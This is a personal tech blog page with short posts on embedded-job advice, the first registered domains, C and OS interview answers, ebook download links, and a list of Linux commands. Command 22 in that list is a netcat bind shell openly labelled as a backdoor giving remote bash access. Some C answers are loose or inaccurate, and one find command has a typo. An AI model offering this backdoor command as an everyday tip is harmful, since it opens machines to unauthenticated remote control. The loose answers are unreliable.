Chaitu Tech Bits
Showing posts with label campus interviews. Show all posts
Showing posts with label campus interviews. Show all posts

Embedded Market Job Trends

Sunday, February 19, 2012

Hai all ,

 i am so happy see you all once again

Right now  IT market is having lot more openings

but remember on thing those are all for experienced people


Freshers who are trying to get a job in embedded systems its really difficult task

guys have a look on the market trend  get ready with c and data structures and

linux commands and linux basic programming  .then go to market and buy 8051

 board  do all the programs with this board and get ready to buy new arm9 board like ( friendly-arm , beagle board  like that )  do some thing with these board and try for jobs  .

  damm sure you will place in some good embedded based company :)


For Exp People exp b/w 2 to 8 years

prepare c  and data structures  :D

then u will get good job yar :D

for interview questions please refer http://campusinterviewindia.com/


cheers /''\

u r s chaitu
Share/Bookmark

What are the first 100 websites in the internet

Thursday, December 16, 2010

The Internet domain game has been going strong for over 20 years. Have you ever thought back and wondered what some of the first domain registrations were? Surprisingly the first domain name ever registered was symbolics.com. Below you will find the list of the first 100 domain names registered.
If only you were able to predict at that time how vast the internet would expand you could have made loads of money. Simple three letter domain names now sell for hundreds of thousands of dollars. It's no surprise that the first 100 list is compromised of many large corporations as it surely cost more than $1.99 to register a domain name in the 1980's. Interestingly Microsoft.com isn't part of the list as it was not registered until May 1991.



1. symbolics.com: March 15, 1985
2. bbn.com: April 24, 1985
3. think.com: May 24, 1985
4. mcc.com: July 11, 1985
5. dec.com: Sept. 30, 1985
6. northrop.com: Nov. 7, 1985
7. xerox.com: Jan. 9, 1986


Share/Bookmark

What is Queue? Where it will be use? what is the use of queue

Wednesday, December 15, 2010


Queue is a First-In-First-Out (FIFO) data structure. In a FIFO data structure, the first element added to the queue will be the first one to be removed.

Queues provide services in computer science, transport and operations research where various entities such as data, objects, persons, or events are stored and held to be processed later. In these contexts, the queue performs the function of a buffer.

Share/Bookmark

what is difference between macro and function? what is macro and what is funcution


1.Difference between a macro and a function is that a macro returns code and a function returns a     value.
2.  macro 'calls' nearly always get expanded once at compile time wheras most  function calls are evaluated many many times.
           
            When you call a function your compiler enters a call-sequence (which takes
            time) and allocates a new stack frame for that function (whcih takes text
            stack space) so that the function's body can be executed. After it's done
            you enter a returning-sequence phase (which takes time).

            A macro does not need anything of the above, because it's preprocessor's job
            to expand a macro, it's only about text replacement, not about compiler
            stuff or code-generating issues. So you don't expend time and space doing
            what a function would need in order to be executed.

            That makes functions and macros[/b] completely different even if the result of
            using both is, in some cases, the same. One must know it's suitable to use
            one or the other. For instance: you can't point a pointer to a macro, but
            you can use pointers to functions...


Share/Bookmark

what is difference between array and stack? what is array what is stack



            Briefly, there are two main differences between an array and a stack.
            1)An array can be multi-dimensional, while a stack is strictly one-dimensional.
            2)An array allows direct access to any of its elements, whereas with a stack, only  

the 'top' element is directly accessible; to access other elements of a stack, you      
must go through them in order, until you get to the one you want.
           
            Another difference is
            3)Array size is fixed where as stack can grow.

Share/Bookmark

What is deadlock? how to aviod deadlock ? how to prevent dead lock


 What is deadlock?

A: Deadlock is a situation when two or more processes are each waiting for each other to   release a resource

A deadlock is a situation where in two or more competing actions are each waiting for the other to finish, and thus neither ever does. It is often seen in a paradox like the "chicken or the egg". The concept of a Catch 22 is similar.
When two trains approach each other at a crossing, both shall come to a full stop and neither shall start up again until the other has gone.
— Illogical statute passed by the Kansas Legislature


Share/Bookmark

What is paging ? what is the use of paging

In computer operating systems, paging is one of the memory-management schemes by which a computer can store and retrieve data from secondary storage for use in main memory. In the paging memory-management scheme, the operating system retrieves data from secondary storage in same-size blocks called pages. The main advantage of paging is that it allows the physical address space of a process to be noncontiguous. Before the time paging was used, systems had to fit whole programs into storage contiguously, which caused various storage and fragmentation problems
Share/Bookmark

Difference between volatile and const?( constant)

CONSTANT  is used to declare the constants i.e the value of this data type will not be changed through out the program execution.

VOLATILE, Normal this data type will be used to declare the variable for timer count & interrupt status because the value of this specific types can't be expected any time

suggestions welcome
Share/Bookmark

C Material , c faqs download Ebook Download

Wednesday, December 8, 2010




clich here to download
click here to download
Share/Bookmark

C Material , Expert C Programming Deep secerects Ebook Download







click here to download
Share/Bookmark

C Material , ANSI C BY Dennis Ritche Ebook Download

The C Programming Language is a well-known programming book written by Brian Kernighan and Dennis Ritchie, the latter of whom originally designed and implemented the language (as well as co-designed the Unix operating system with which development of the language was closely intertwined). The book was central to the development and popularization of the C programming language and is still widely read and used today. Because the book was co-authored by the original language designer, and because the first edition of the book served for many years as the de facto standard for the language, the book is regarded by many to be the authoritative reference on C

CLICK HERE DOWNLOAD
Share/Bookmark

TOP 25 LINUX Commands

Tuesday, November 23, 2010

TOP 25 LINUX Commands

1.Search for all files modified in the last N days containing a specific text in their name

find DIR -mtime -N -name "*TEXT*"

2.Twitter update from terminal

curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml

3.Determine which processes use the most memory

ps aux | sort -nk 4 | tail

or

ps aux | sort -nk 4 | head

4.Find removed (deleted) files still in use via /proc:

find -L /proc/*/fd -links 0 2>/dev/null

5.Display the username which is currently logged in

whoami

6.Check if network cable is plugged in and working correctly:

mii-tool eth0

7.Show date using format modifiers

date +"%H:%M:%S"

8. Migrate existing Ext3 filesystems to Ext4:

tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition

9.Show info about a specific user:

finger $USER

10.On-the-fly unrar movie in .rar archive and play it, does also work on part archives:

unrar p -inul foo.rar|mplayer -

11.Show disk usage separately for each partition

df -h

df -B 1K

12.List programs with open ports and connections:

netstat -ntauple

or

netstat -lnp

13.Show which modules are loaded

lsmod

14.Using ruby, search for the string “search” and replace it with the string “replace”, on all files with the extension php in the curret folder. Do also a backup of each file with the extension “bkp”:

ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php

15.Add or remove a module to/from the Linux kernel
Insert a module:

modprobe MODULE

Remove a module:

modprobe -r MODULE

16.Find files larger than 1 GB, everywhere

find / -type -f -size +1000000000c

17. All the startup services, and sort alphabetically

sudo chkconfig --list | sort | less

18.Search for a file using locate

locate FILENAME

19.Kill a process that is locking a file:

fuser -k filename

20.Change the encoding of a text file:

iconv -f INITIAL_ENCODING -t DESIRED_ENCODING filename

21.Manually pause/unpause an application (process) with POSIX-Signals, for instance Firefox:

killall -STOP -m firefox

22.Create a backdoor on a machine to allow remote connection to bash:

nc -vv -l -p 1234 -e /bin/bash

23.Launch a listener on the machine :

nc 192.168.0.1 1234

24.Print file name of terminal on standard input:

tty

25.Strip directory and suffix from filenames:

basename NAME
Share/Bookmark

Linux basic commands


Linux basic commands






cal    :  Command to see calender for any specific month or a complete year


date   :  displays the current date


echo   :  Print message on the terminal


bc     :  A text based calculator


xcalc  :  is graphical based calculator


passwd :  allows you to change your password


who    :  tells you the users currently logged on to system


man    :  displays the documentation for a command


chmod  :  Changing the permissions of the file


chown  :  command is used for changing the ownership and group of a file


rm     :  used to delete files


mkdir  :  used to create directory


rmdir  :  used to remove directory


cp     :  copy the files


mv     :  moving files its like a cut command


cat    :  used to display content of a small file


tac    :  used to display content of a file in reverse manner


wc     :  used to count words in a file


cmp    :  used to compare files


comm   :  it displays the common between to files


gzip   :  used to compress the file


gunzip :  used to uncompress the file


tar    :  used to create archive


zip    :  used to archiving as well as compressing


head   :  displays the top of the file


tail   :  displays bottom of the file


sort   :  ordering a file


grep   :  search for a pattern
Share/Bookmark

Related Posts Plugin for WordPress, Blogger...